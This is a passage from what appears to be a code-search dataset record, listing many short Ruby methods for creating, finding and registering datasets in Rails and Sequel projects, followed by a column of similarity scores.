end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_data( label, data )\n self.data[label] = data\n end", "def _insert_dataset\n use_server(model.instance_dataset)\n end", "def _insert_dataset\n use_server(model.instance_dataset)\n end", "def set_dataset_datum\n @dataset_datum = DatasetDatum.find(params[:id])\n end", "def dataset\n @dataset_class.new(self)\n end", "def set_dataset\n @dataset = Dataset.find(params[:id] || params[:dataset_id])\n end", "def create_empty_data_set\n BasicInterfaceRegister[@data_lib][@data_set_name] = true\n end", "def initialize(dataset)\n @dataset = dataset\n end", "def set_data_set\n @data_set = DataSet.find_by(:id => params[:dataset_id])\n end", "def set_data_set\n @data_set = DataSet.find(params[:id])\n end", "def set_data_set\n @data_set = DataSet.find(params[:id])\n end", "def dataset\n @dataset ||= generate_dataset\n end", "def _insert_dataset\n use_server(model.instance_insert_dataset)\n end", "def set_dataset\n @dataset = Dataset.find_by(key: params[:id])\n @dataset ||= Dataset.find(params[:dataset_id])\n raise ActiveRecord::RecordNotFound unless @dataset\n end", "def set_data_set\n @data_set = DataSet.find(params[:id])\n end", "def build!(data_set_name)\n interface(data_set_name).create_empty_data_set\n library[data_set_name] = DataSet.new(data_set_name, interface(data_set_name))\n end", "def create\n @dataset = Dataset.new(dataset_params)\n\n if @dataset.save\n redirect_to @dataset, notice: 'Dataset was successfully created.'\n else\n redirect_to datasets_path, notice: 'Dataset could not be created.'\n end\n end", "def insert(*args)\n dataset.insert(*args)\n self\n end", "def create\n authorize! :create, Dataset\n @dataset = Dataset.new(dataset_params)\n respond_to do |format|\n if @dataset.save\n format.html { redirect_to edit_dataset_path(@dataset.key) }\n format.json { render :edit, status: :created, location: edit_dataset_path(@dataset.key) }\n else\n format.html { render :new }\n format.json { render json: @dataset.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_dataset_rel_and_attr\n @dataset.database = @database\n @dataset_id = @dataset.id\n organization = Organization.find_by_id(@organization_id)\n organization.datasets << @dataset\n @dataset.organization = organization\n end", "def set_dataset\n\n @dataset = Dataset.find_by_key(params[:id])\n unless @dataset\n @dataset = Dataset.find(params[:dataset_id])\n end\n raise ActiveRecord::RecordNotFound unless @dataset\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n\n respond_to do |format|\n if @dataset.save\n flash[:notice] = 'Dataset was successfully created.'\n format.html { redirect_to dataset_url(@dataset) }\n format.xml { head :created, :location => dataset_url(@dataset) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataset.errors.to_xml }\n end\n end\n end", "def create\n\t\t@data_set = DataSet.new(params[:data_set])\n\n\t\trespond_to do |format|\n\t\t\tif @data_set.save\n\t\t\t\tformat.html { redirect_to @data_set, notice: 'Data set was successfully created.' }\n\t\t\t\tformat.json { render json: @data_set, status: :created, location: @data_set }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @data_set.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def dataset(name)\n datasets[name] = Dataset.new(sources.fetch(name.to_s))\n end", "def dataset\n @dataset ||= begin\n create_table!\n database[:data_stores]\n end\n end", "def dataset\n @dataset ||= data_maker.dataset\n end", "def register(klass)\n storage.add(klass) if klass\n end", "def set(data_set_name, x, y)\n data_set = @data[data_set_name]\n if data_set.nil? \n data_set = {}\n @data[data_set_name] = data_set\n end\n data_set[x] = y\n end", "def create\n authorize! :create, Dataset\n @dataset = Dataset.new(dataset_params)\n respond_to do |format|\n if @dataset.save\n format.html {redirect_to edit_dataset_path(@dataset.key)}\n format.json {render :edit, status: :created, location: edit_dataset_path(@dataset.key)}\n else\n format.html {render :new}\n format.json {render json: @dataset.errors, status: :unprocessable_entity}\n end\n end\n end", "def new\n @dataset = Dataset.new\n 3.times do\n @dataset.dataset_variables << DatasetVariable.new\n end\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n\n respond_to do |format|\n if @dataset.save\n format.html { redirect_to(@dataset, :notice => 'Dataset was successfully created.') }\n format.xml { render :xml => @dataset, :status => :created, :location => @dataset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def dataset(slug)\n Ailurus::Dataset.new(self, slug)\n end", "def create\n @qdataset = Qdataset.new(qdataset_params)\n\n respond_to do |format|\n if @qdataset.save\n format.html { redirect_to @qdataset, notice: 'Qdataset was successfully created.' }\n format.json { render :show, status: :created, location: @qdataset }\n else\n format.html { render :new }\n format.json { render json: @qdataset.errors, status: :unprocessable_entity }\n end\n end\n end", "def dataset_method\n :\"#{self[:name]}_dataset\"\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n\n respond_to do |format|\n if @dataset.save\n flash[:notice] = 'Dataset was successfully created.'\n format.html { redirect_to(@dataset) }\n format.xml { render :xml => @dataset, :status => :created, :location => @dataset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def dataset_method\n :\"#{self[:name]}_dataset\"\n end", "def create_dataset(dataset_id)\n dataset = Google::Apis::BigqueryV2::Dataset.new(\n dataset_reference: { project_id: @project_id, dataset_id: dataset_id }\n )\n api(\n @client.insert_dataset(\n @project_id,\n dataset\n )\n )\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n prep_dataset_form\n @dataset.save!\n publish_press_item(\"New dataset added: #{@dataset.title}\")\n\n respond_to do |wants|\n flash[:notice] = 'Dataset was successfully created.'\n wants.html { redirect_to(@dataset) }\n wants.xml { render :xml => @dataset, :status => :created, :location => @dataset }\n end\n end", "def dataset_class=(c)\n unless @dataset_modules.empty?\n c = Class.new(c)\n @dataset_modules.each{|m| c.send(:include, m)}\n end\n @dataset_class = c\n reset_default_dataset\n end", "def create\n @dataset = Dataset.new(dataset_params)\n\n if @dataset.save\n redirect_to @dataset\n flash[:success] = \"Dataset was successfully created.\"\n else\n render :new\n end\n end", "def create_dataset(datasetId)\n api(\n api_method: @bq.datasets.insert,\n body_object: { \"datasetReference\" => {\n \"datasetId\" => datasetId,\n \"projectId\" => @project_id,\n }\n }\n )\n end", "def register(data)\n code = prepare_code(data.fetch(:code))\n synchronize do\n instances.delete(code)\n table[code] = data\n end\n @codes = nil\n end", "def create\n id = dataset.insert(attributes)\n\n if id\n self.id = id\n\n self\n else\n nil\n end\n end", "def _dataset_method\n :\"_#{self[:name]}_dataset\"\n end", "def type\n 'dataset'\n end", "def set_qdataset\n @qdataset = Qdataset.find(params[:id])\n end", "def register\r\n \r\n end", "def register_for(id); end", "def create_dataset(name, description, columns)\n authenticate unless authenticated?\n payload = {\n name: name,\n description: description,\n }\n schema = {columns: []}\n columns.each { |col| schema[:columns].push(col) }\n payload[:schema] = schema\n response = RestClient::Request.execute(\n url: @@datasets_endpoint,\n method: :post,\n headers: headers('application/json'),\n payload: JSON.generate(payload)\n )\n return JSON.parse(response.body)\n end", "def dataset\n ds = Sequel::Dataset.new(self)\n end", "def dataset\n ds = Sequel::Dataset.new(self)\n end", "def register\n end", "def dataset=(dataset)\n clear_cached_data\n @dataset = dataset\n\n if dataset.nil? || dataset.strip.empty? || dataset_path(dataset).nil?\n datasets = Dir[File.join(seed_data_path, \"**\", \"*\")].select { |x| File.directory?(x) }.map { |x| File.basename(x) }.join(', ')\n\n error_message = \"\\nERROR: A valid dataset is required!\\n\"\n error_message << \"Usage: bundle exec rake application_seeds:load[your_data_set]\\n\\n\"\n error_message << \"Available datasets: #{datasets}\\n\\n\"\n raise error_message\n end\n\n store_dataset\n end", "def set_data_set_type\n @data_set_type = DataSetType.find(params[:id])\n end", "def create\n @data_set = DataSet.new(data_set_params)\n\n respond_to do |format|\n if @data_set.save\n format.html { redirect_to [:admin, @data_set], notice: 'Data set was successfully created.' }\n format.json { render :show, status: :created, location: [:admin, @data_set] }\n else\n format.html { render :new }\n format.json { render json: @data_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_data\n Sol.add_data(\"native_array\", @data.nc_array)\n Sol.add_data(\"labels\", @dimension_labels.nc_array)\n end", "def push_reg reg\n @fisk.push reg.to_register\n end", "def register\n puts \"register\"\n ApiBase.client.put(\"/device/#{self.id}\", self.to_json)\n end", "def create\n @dataset_datum = DatasetDatum.new(dataset_datum_params)\n\n respond_to do |format|\n if @dataset_datum.save\n format.html { redirect_to @dataset_datum, notice: 'Dataset datum was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dataset_datum }\n else\n format.html { render action: 'new' }\n format.json { render json: @dataset_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "def register\n @is_registered = true\n self\n end", "def build(data_set_name)\n raise Interfaces::DataSetAlreadyExists if interface(data_set_name).data_set_exists?\n build!(data_set_name)\n end", "def dataset\n @@dataset\n end", "def register_data_request( channel, data, type=nil )\n @data_requests_mutex.synchronize do\n @data_requests << DataRequest.new( channel, data, type )\n end\n\n # make sure the new data request has a chance to be sent to the\n # server... Otherwise, it cannot be sent until the next time #process\n # is invoked, which can be unexpected in synchronous situations.\n process_data_requests\n end", "def set_data_document(name, data)\n raise NotImplementedError\n end", "def _metadata_dataset\n super.\n with_identifier_input_method(identifier_input_method_default).\n with_identifier_output_method(identifier_output_method_default)\n end", "def set_datasets\n @datasets = current_user.get_datasets 'all'\n\n @metadata_array = []\n @metadata_array = Dataset.get_metadata_list(@datasets.map{|ds| ds.id}) if @datasets\n\n # TODO: Find a better way to do this\n @datasets.each_with_index do |ds, i|\n ds.metadata = @metadata_array['data'][i]['attributes']\n end\n end", "def register\n end", "def register\n end", "def register\n end", "def create\n @dataunit = Dataunit.new(dataunit_params)\n\t@dataunit.dataset_id=dataset_id\n\n respond_to do |format|\n if @dataunit.save\n format.html { redirect_to @dataunit, notice: @dataunit.user_id.to_s + 'Dataunit was successfully created.' }\n format.json { render :show, status: :created, location: @dataunit }\n else\n format.html { render :new }\n format.json { render json: @dataunit.errors, status: :unprocessable_entity }\n end\n end\n end", "def dataset_extend(mod, opts=OPTS)\n @dataset = @dataset.with_extend(mod) if @dataset\n reset_instance_dataset\n dataset_method_modules << mod\n unless opts[:create_class_methods] == false\n mod.public_instance_methods.each{|meth| def_model_dataset_method(meth)}\n end\n end", "def dataset_extend(mod, opts=OPTS)\n @dataset = @dataset.with_extend(mod) if @dataset\n reset_instance_dataset\n dataset_method_modules << mod\n unless opts[:create_class_methods] == false\n mod.public_instance_methods.each{|meth| def_model_dataset_method(meth)}\n end\n end", "def create\n chef_server_rest.post(\"data/#{data_bag}\", self)\n self\n end", "def dataset\n self\n end", "def dataset\n self\n end", "def dataset\n self\n end", "def create(entity)\n @dataset.create(\n _serialize(entity)\n )\n end", "def create(entity)\n @dataset.create(\n _serialize(entity)\n )\n end", "def register\n \n end", "def add(data)\n create(data)\n end", "def add(data)\n create(data)\n end", "def extend_datasets(mod=nil, &block)\n raise(Error, \"must provide either mod or block, not both\") if mod && block\n mod = Dataset::DatasetModule.new(&block) if block\n if @dataset_modules.empty?\n @dataset_modules = [mod]\n @dataset_class = Class.new(@dataset_class)\n else\n @dataset_modules << mod\n end\n @dataset_class.send(:include, mod)\n reset_default_dataset\n end", "def data=(v) DataTypeValidator.validate \"Series.data\", [NumDataSource], v; @data = v; end", "def data=(v) DataTypeValidator.validate \"Series.data\", [NumDataSource], v; @data = v; end", "def create_new_acquisition(data_set)\n enter_acquisition_info_data data_set\n save_record\n end", "def create_new_acquisition(data_set)\n enter_acquisition_info_data data_set\n save_record\n end" ]
[ "0.68951255", "0.661865", "0.6568996", "0.6434236", "0.6394017", "0.6370177", "0.6349531", "0.63259035", "0.6284516", "0.62636334", "0.6248965", "0.6248965", "0.6248965", "0.6248965", "0.61942303", "0.60738796", "0.60738796", "0.60708773", "0.6038573", "0.6025706", "0.6014487", "0.5949211", "0.5919805", "0.5898135", "0.5898135", "0.5881392", "0.5880844", "0.58036065", "0.5762765", "0.57622236", "0.57494146", "0.57276094", "0.5723793", "0.5702258", "0.56960034", "0.5686178", "0.5679125", "0.5671527", "0.56671476", "0.5652004", "0.56394583", "0.5627929", "0.5627063", "0.5617262", "0.5608371", "0.5597906", "0.5597294", "0.55969995", "0.5583497", "0.5575442", "0.55445445", "0.5533334", "0.5518684", "0.54813015", "0.54764634", "0.5461984", "0.54614484", "0.5457792", "0.544753", "0.5440074", "0.53976667", "0.5394804", "0.53915507", "0.5384921", "0.5384921", "0.5372913", "0.5372818", "0.5357943", "0.5346891", "0.53334653", "0.5312988", "0.53099823", "0.5307914", "0.53056365", "0.52990603", "0.5293985", "0.5278017", "0.5275622", "0.5272479", "0.5256396", "0.52527887", "0.52527887", "0.52527887", "0.5243955", "0.5241589", "0.5241589", "0.52348703", "0.52317023", "0.52317023", "0.52317023", "0.5211073", "0.5211073", "0.51998204", "0.519149", "0.519149", "0.518276", "0.51757234", "0.51757234", "0.51727146", "0.51727146" ]
0.6017397
20
Return if a dataset with provided name exists
def dataset?(name) datasets.key?(name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dataset?(name)\n self[name] ? true : false\n end", "def dataset?(name)\n run rql.db(options[:db]).table_list.contains(name.to_s)\n end", "def dataset?(name)\n connection.query(\"select * from #{name} limit 1\")\n true\n rescue ::InfluxDB::Error\n false\n end", "def exists? name\r\n\t\t\tunless @data[name].nil?\r\n\t\t\t\ttrue\r\n\t\t\telse\r\n\t\t\t\tfalse\r\n\t\t\tend\r\n\t\tend", "def dataset?\n true\n end", "def data_set_exists?\n !BasicInterfaceRegister[@data_lib][@data_set_name].nil?\n end", "def exist?(name)\n @data_adapter.has_relation? name\n end", "def data_source_exists?(connection, name)\n return if ignored_table?(name)\n prepare_data_sources(connection) if @data_sources.empty?\n return @data_sources[name] if @data_sources.key? name\n\n @data_sources[deep_deduplicate(name)] = connection.data_source_exists?(name)\n end", "def dataset(name)\n self[name] || connection.create_dataset(name)\n end", "def exist? (name)\n @by_id[name.to_s]\n end", "def dataset?(index)\n client.indices.exists?(index: index)\n end", "def data? id\n File.exist? _data_path(id)\n end", "def exists?(name)\n get(name).exists?\n end", "def data_set_exists?\n Pathname.new(header_file_full_path).exist?\n end", "def photoset_exist? name\n @flickr.photosets.getList.each do |x|\n return true if x.title == name\n end\n return false\n end", "def exists?(name)\n return false if empty? || absent?(name)\n\n storage.include?(name)\n end", "def exists?(name)\n self[name] != nil\n end", "def exists? (name:, database: Arango.current_database)\n args = { name: name }\n result = Arango::Requests::Graph::Get.execute(server: database.server, args: args)\n result.graphs.map { |c| c[:name] }.include?(name)\n end", "def exists?(name)\n @inputs.detect { |input| input[:name] == name.to_s }.present?\n end", "def exist_name(name)\n @names.value?(name)\n end", "def dictionary_exist?(dic_name)\n\t\t@db::Dictionary.where(:title => dic_name).present?\n\tend", "def dataset(name)\n datasets[name] = Dataset.new(connection.fetch(name.to_s))\n end", "def data_exist?\n\t\tFile.exist? self.data_path\n\tend", "def name_exists?\n ensure_data_loaded\n return false unless @exist\n unless @data['name'].nil?\n Puppet.debug \"Deployment found: #{@resource[:name]}\"\n return true\n end\n Puppet.debug \"No deployment matching #{@resource[:name]} found.\"\n false\n end", "def exists?\n !data.empty?\n end", "def dataset(name)\n datasets[name] = Dataset.new(sources.fetch(name.to_s))\n end", "def contains(name)\n database.has_key? name\n end", "def exist?(cccc)\n not find_data_by_cccc(cccc).nil?\n end", "def datacenter_exists?(name)\n filter = Com::Vmware::Vcenter::Datacenter::FilterSpec.new(names: Set.new([name]))\n dc_obj = Com::Vmware::Vcenter::Datacenter.new(vapi_config)\n dc = dc_obj.list(filter)\n\n raise format(\"Unable to find data center: %s\", name) if dc.empty?\n end", "def dataset(name)\n @datasets[name.to_sym] = Dataset.new(session, *split(name))\n end", "def has_data?(path)\n @local_data.has_key?(path.to_s)\n end", "def tileset_exist?(filename)\n test_file_existence(filename, Tilesets_Path, @tileset_data)\n end", "def variable_exists(name)\n assert_type name, :String, :name\n bool(environment.caller.var(name.value))\n end", "def exists?(name)\n envs = find(name)\n envs.size > 0\n end", "def [](name)\n datasets[name.to_sym]\n end", "def [](name)\n datasets.fetch(name)\n end", "def [](name)\n datasets.fetch(name)\n end", "def name_exists?(name)\n return false unless name_detector.present?\n\n name_detector.name_exists?(name)\n end", "def name_exists?(name)\n return false unless name_detector.present?\n\n name_detector.name_exists?(name)\n end", "def exists?(name)\n tgts = resolve_mapping(name)\n targets = tgts.is_a?(Array) ? tgts : find(tgts)\n targets.size > 0\n end", "def data_exist?\n\t\tlocal? || File.exist?(self.data_path)\n\tend", "def exists\n self.class.exists(@name)\n end", "def dataset(name)\n sets[name] = Dataset.new(name, connection)\n end", "def exist?(cccc)\n !find_data_by_cccc(cccc).nil?\n end", "def exist?\n not self.name.nil?\n end", "def exists?\n stats.key? @resource[:name]\n end", "def exists?(name)\n name = name.to_s if name.is_a?(Symbol)\n __getobj__.columns_hash.key?(name)\n end", "def dataset(name)\n fetch_or_store(name) { Dataset.new(rql.table(name), rql, self) }\n end", "def has_name?(name)\n @hash.has_key?(name)\n end", "def contains_datastore?(id)\n contains_resource?('DATASTORES/ID', id)\n end", "def add_dataset(name)\n unless metadata[:datasets].include? name\n d = MiGA::Dataset.new(self, name)\n @metadata[:datasets] << name\n @dataset_names_hash = nil # Ensure loading even if +do_not_save+ is true\n save\n if d.ref? && d.active?\n recalculate_tasks(\"Reference dataset added: #{d.name}\")\n end\n pull_hook(:on_add_dataset, name)\n end\n dataset(name)\n end", "def exists?()\n\t\t\treturn @metadata.exists?\n\t\tend", "def exist?(id)\n @names.key?(id)\n end", "def exist?(name)\n File.exist?(path(name))\n end", "def has_package_set?(name)\n !!find_package_set(name)\n end", "def has_name?(name)\n names.include?(name)\n end", "def key?(name)\n @data.key?(name.to_s)\n end", "def exist?(name)\n @redis.exists(name)\n end", "def exist?(name, options = nil)\n res = super(name, options)\n res || false\n end", "def seed_data_exists?(type)\n !processed_seed_data[type.to_s].nil?\n end", "def load_dataset(silent = false, name = nil)\n if name.nil?\n ensure_par(dataset: '-D')\n name = self[:dataset]\n end\n d = load_project.dataset(name)\n raise \"Cannot load dataset: #{self[:dataset]}\" if !silent && d.nil?\n\n return d\n end", "def is_existing_exercise(db, name)\n exercises_arr = db.execute(\"SELECT name FROM exercises\")\n exercises_arr.each do |exercise|\n if exercise[0] == name\n return true\n end\n end\n return false\nend", "def table_exist?(table_name)\n res = run_single_result(\"SELECT COUNT(*) FROM X$File\n WHERE Xf$Name = '#{table_name}'\")\n res == 1\n end", "def exists?(name, options = nil)\n options ||= {}\n name = expanded_key name\n\n instrument(:exists?, name) do\n !read_entry(name, options).nil?\n end\n end", "def exists?\n !service.get_table(instance_id, name, view: :NAME_ONLY).nil?\n rescue Google::Cloud::NotFoundError\n false\n end", "def table_exists?(name)\n begin \n if respond_to?(:tables)\n tables.include?(name.to_sym)\n else\n from(name).first\n true\n end\n rescue\n false\n end\n end", "def data_exist?(parameter)\n !parameter.nil? && !parameter.empty?\n end", "def include?(name)\n !!find_by_name(name)\n end", "def database_exists?(name)\n database = ::MySQL::Database.find_by_name(name)\n !database.nil?\n end", "def exists?(name)\n begin\n g = list([name.to_s])\n rescue ::AWS::InvalidGroupNotFound\n return false \n end\n \n !g.empty?\n end", "def fexistd(fname, sname, dname)\n if fexists fname, sname\n if eval \"$#{fname}['#{sname},facets'].include? dname\"\n return true\n else\n return false\n end\n else\n return false\n end\nend", "def knows?(name)\n false\n end", "def exists?\n ! Tainers::API.get_by_name(name).nil?\n end", "def table_exists?(name)\n if respond_to?(:tables)\n tables.include?(name.to_sym)\n else\n from(name).first\n true\n end\n rescue\n false\n end", "def knows?(name)\n !find_file(name).nil?\n end", "def has_analysis_data?\n sql = \"select count(*) as c from `#{@@analysis_db}`.`#{self.analysis_table_name} - raw`\"\n results = @@client.exec_query(sql)\n return results.present? && results.first['c'] > 0\n end", "def exists?(name)\r\n \t@directory.exists?(name)\r\n end", "def schema_exists?(name)\n select_value(\"SELECT COUNT(*) FROM pg_namespace WHERE nspname = '#{name}'\", 'SCHEMA').to_i > 0\n end", "def entry_exists?(model, name)\n\t\tbool = false\n\t\tmodel.each do |hash|\n\t\t\thash.each do |k, v|\n\t\t\t\tif v == name\n\t\t\t\t\tbool = true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tbool\n\tend", "def exist? \n !DB.execute(\"SELECT name FROM students WHERE Id = ? \", @id).empty?\n end", "def has_resource?(name)\n @resources.has_key?(name)\n end", "def unique?(name)\n envs = find(name)\n envs.size == 1\n end", "def repeated_name?()\n sql = \"SELECT * FROM spells\n WHERE name = $1\"\n values = [@name]\n result = SqlRunner.run(sql, values)\n return true if result.first != nil && result.first['id'].to_i != @id\n return false\n end", "def exist?(name, options = T.unsafe(nil)); end", "def visualization_exists?(id)\n saved_object_exists?(\"visualization\", id)\n end", "def delete_dataset(file_name)\n cpl_err = GDALDeleteDataset(@gdal_driver_handle, file_name)\n\n cpl_err.to_bool\n end", "def lut_cache_exists?(name)\n !lut_read_cache_item(name, 0).nil?\n end", "def has_series?(series_name)\n @series[series_name.to_sym] != nil rescue false\n end", "def named_db_exists?(connection, name)\n connection.exec(\"SELECT count(*) AS result FROM pg_database WHERE datname='#{name}'\")[0]['result'] == '1'\n end", "def build(data_set_name)\n raise Interfaces::DataSetAlreadyExists if interface(data_set_name).data_set_exists?\n build!(data_set_name)\n end", "def table_exists?(name)\n return @tables[name] if @tables.key? name\n\n @tables[name] = connection.table_exists?(name)\n end", "def hasVar?( name )\n\t\t\t\tArgTest::type( \"name\", name, String )\n\t\t\t\tname.strip!()\n\t\t\t\tArgTest::stringLength( \"name\", name, 1 )\n\t\t\t\treturn @vars.has_key?( name )\n\t\t\tend", "def group_exists?(name)\n @project.groups.where(name: name).count > 0\n end", "def schema_exists?(name)\n select_value(\"SELECT COUNT(*) FROM pg_namespace WHERE nspname = '#{name}'\", 'SCHEMA').to_i > 0\n end", "def include?(name)\n ! self[name].nil?\n end", "def exists?\n data != {}\n end", "def has_vuln?(name)\n\t\tVuln.find(:first, :conditions => [ \"name = ?\", name])\n\tend", "def has_name?\n true\n end", "def exist?\n self.class.exists?(dn)\n end" ]
[ "0.853543", "0.8333764", "0.80609053", "0.7299681", "0.7186603", "0.7077373", "0.7035662", "0.69494444", "0.681599", "0.68006873", "0.67570317", "0.6641808", "0.66224843", "0.6567562", "0.653844", "0.6459573", "0.6457092", "0.6434239", "0.6412482", "0.64020854", "0.640058", "0.63233435", "0.6316512", "0.6315559", "0.6304157", "0.6301824", "0.62836456", "0.6242363", "0.6240357", "0.6228695", "0.622276", "0.62208706", "0.6215609", "0.6206307", "0.6192144", "0.61876917", "0.61876917", "0.6135781", "0.6135781", "0.6115684", "0.61145955", "0.61012596", "0.6074833", "0.60736525", "0.60624367", "0.6054149", "0.6018665", "0.6018019", "0.59915453", "0.5984238", "0.5955826", "0.594585", "0.5937443", "0.5927816", "0.59201086", "0.5908643", "0.5896712", "0.58625835", "0.5843689", "0.5818351", "0.5816809", "0.5816277", "0.58159816", "0.5815757", "0.5813152", "0.58082736", "0.58035934", "0.579762", "0.5797543", "0.57909405", "0.5780757", "0.57785165", "0.57711595", "0.57705253", "0.5764086", "0.5763645", "0.57635796", "0.57525027", "0.5731805", "0.57315814", "0.57255846", "0.57242966", "0.5719012", "0.57083184", "0.57038355", "0.56891716", "0.568423", "0.56837785", "0.5682955", "0.56807745", "0.56754947", "0.5673867", "0.56695795", "0.5663498", "0.5654382", "0.56444997", "0.563915", "0.56341124", "0.5632164" ]
0.87435895
1
Private: Fail the check if ActiveRecord cannot check migration status
def unsupported mark_failure mark_message "This version of ActiveRecord does not support checking whether migrations are pending" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def migration_error?\n render :migration_error, status: 500 unless ENV[\"DB_MIGRATE_FAILED\"].blank?\n end", "def migrate?\n raise NotImplementedError\n end", "def supports_migrations?\n false\n end", "def supports_migrations?\n false\n end", "def integrity_check\n execute( \"PRAGMA integrity_check\" ) do |row|\n raise Exceptions::DatabaseException, row[0] if row[0] != \"ok\"\n end\n end", "def supports_migrations?\n true\n end", "def supports_migrations?\n true\n end", "def supports_migrations?\n true\n end", "def supports_migrations?\n true\n end", "def supports_migrations?\n true\n end", "def check\n mark_message \"Schema is #{'not ' unless is_current?}up to date\"\n rescue ConnectionFailed => e\n mark_failure\n mark_message \"Error: '#{e}'\"\n end", "def migrated?\n !find_in_db.nil?\n end", "def skip_migration_creation?\n !migration\n end", "def test_pending_migration_is_not_applied\r\n @mm.set_pending(@config, @connection)\r\n assert_equal(false, @mm.applied?(@config, @connection))\r\n end", "def pending_migrations?\n ROM::SQL.with_gateway(self) {\n migrator.pending?\n }\n end", "def assert_skipped_migration(name)\n migration_file = \"#{RAILS_ROOT}/db/migrate/001_#{name.to_s.underscore}.rb\"\n assert !File.exist?(migration_file), \"should not create migration #{migration_file}\"\n end", "def run_migration\n return unless allow_migrations && db_migration_schema != DefaultMigrationSchema\n\n puts \"Running migration from #{db_migration_dirname}\"\n Rails.logger.warn \"Running migration from #{db_migration_dirname}\"\n\n Timeout.timeout(60) do\n # Outside the current transaction\n Thread.new do\n ActiveRecord::Base.connection_pool.with_connection do\n self.class.migration_context(db_migration_dirname).migrate\n # Don't dump until a build, otherwise differences in individual development environments\n # force unnecessary and confusing commits\n # pid = spawn('bin/rake db:structure:dump')\n # Process.detach pid\n end\n end.join\n end\n\n self.class.tables_and_views_reset!\n\n true\n rescue StandardError => e\n FileUtils.mkdir_p db_migration_failed_dirname\n FileUtils.mv @do_migration, db_migration_failed_dirname\n raise FphsException, \"Failed migration for path '#{db_migration_dirname}': #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n rescue FphsException => e\n FileUtils.mkdir_p db_migration_failed_dirname\n FileUtils.mv @do_migration, db_migration_failed_dirname\n raise FphsException, \"Failed migration for path '#{db_migration_dirname}': #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n end", "def pre_migrate_database\n old_schema_version = get_schema_version\n new_schema_version = File.read(File.join(source_directory,'db','schema_version')).to_i\n \n return unless old_schema_version > 0\n \n # Are we downgrading?\n if old_schema_version > new_schema_version\n message \"Downgrading schema from #{old_schema_version} to #{new_schema_version}\"\n \n in_directory install_directory do\n unless system(\"rake -s migrate VERSION=#{new_schema_version}\")\n raise InstallFailed, \"Downgrade migrating from #{old_schema_version} to #{new_schema_version} failed.\"\n end\n end\n end\n end", "def table_or_view_ready?\n Admin::MigrationGenerator.table_or_view_exists?(table_name)\n rescue StandardError => e\n @extra_error = e\n false\n end", "def database_exception_use_sqlstates?\n false\n end", "def database_exception_use_sqlstates?\n false\n end", "def skip_migration_creation?\n custom_parent? && !database || !migration\n end", "def is_current?\n ::Sequel.extension(:migration)\n ::Sequel::Migrator.is_current?(database, migration_directory)\n rescue => e\n raise ConnectionFailed, e\n end", "def available?\n @available_flag ||= ActiveRecord::Migrator.current_version >= REQUIRED_SCHEMA_VERSION # rubocop:disable Gitlab/PredicateMemoization\n end", "def failed?\n raise 'Not implemented!'\n end", "def check_db?\n @check_db == true\n end", "def check_db_connection\n begin\n ActiveRecord::Base.verify_active_connections! if defined?(ActiveRecord)\n rescue Object => bdrb_error\n log_exception(bdrb_error)\n end\n end", "def check_db!(on=true)\n @check_db = on\n end", "def all_foreign_keys_valid?\n check_all_foreign_keys_valid!\n true\n rescue ActiveRecord::StatementInvalid\n false\n end", "def up?\n up.up?\n rescue\n false\n end", "def check_events!\n return unless RegistryEvent.exists?(status: RegistryEvent.statuses[:fresh])\n\n raise ActiveRecord::Rollback\n end", "def migration\n options[:migration] != false\n end", "def check_sql_before_running; tarif_optimizator.check_sql_before_running; end", "def migrate_is_a_class_method?\n (::ActiveRecord::VERSION::MAJOR <= 3 && ::ActiveRecord::VERSION::MINOR == 0)\n end", "def check_presence_on_table\n if !self.on_table\n throw(:abort)\n end\n end", "def post_transaction_process\n fail(ActiveRecord::Rollback) unless @status\n end", "def connection_valid?\n if status.untested? or (changed? and (changes.keys & @@status_fields).empty?)\n begin\n test_connection\n status.success!\n rescue => e\n error_str = map_connection_exception_to_error(e)\n status.fail!(error_str)\n end\n end\n status.success?\n end", "def check_all_foreign_keys_valid!\n end", "def migration_status \n stat = \"rake db:migrate:status\"\n %x[ #{stat} ] \n end", "def beef_verify_db\n\t\t\t\tif ! (framework.db and framework.db.active)\n\t\t\t\t\tprint_error(\"No database has been configured, please use db_create/db_connect first\")\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\t\ttrue\n\t\t\tend", "def migrate\n raise NotImplementedError\n end", "def handle_silent_modification_failure?\n self[:raise_on_save_failure] == false\n end", "def valid?\n return false unless @adapter\n if sqlite_adapter?\n return true if @database\n else\n return super\n end\n false\n end", "def failed?\n true\n end", "def check_schema_migrations\n unless column_family_exists?('schema_migrations')\n say \"Creating schema_migrations column family\"\n connection.execute_cql_query(DatastaxRails::Cql::CreateColumnFamily.new('schema_migrations').key_type(:text).columns(:digest => :text, :solrconfig => :text, :stopwords => :text).to_cql)\n end\n \n check_key_name('schema_migrations')\n end", "def usable_with?(db)\n true\n end", "def run_active_record_migrations!\n ActiveRecord::Migration.verbose = false\n ActiveRecord::Migrator.migrate([\"test/fixtures/migrate\"])\n end", "def test_insert_pending_details_for_migration\r\n @mm.set_pending(@config, @connection)\r\n assert_equal('Pending', get_state(@mm))\r\n end", "def migration?(migration)\n @migrations.include?(migration)\n end", "def status\n Status.migrations\n end", "def migration_exists?(_dirname, _file_name) #:nodoc:\n 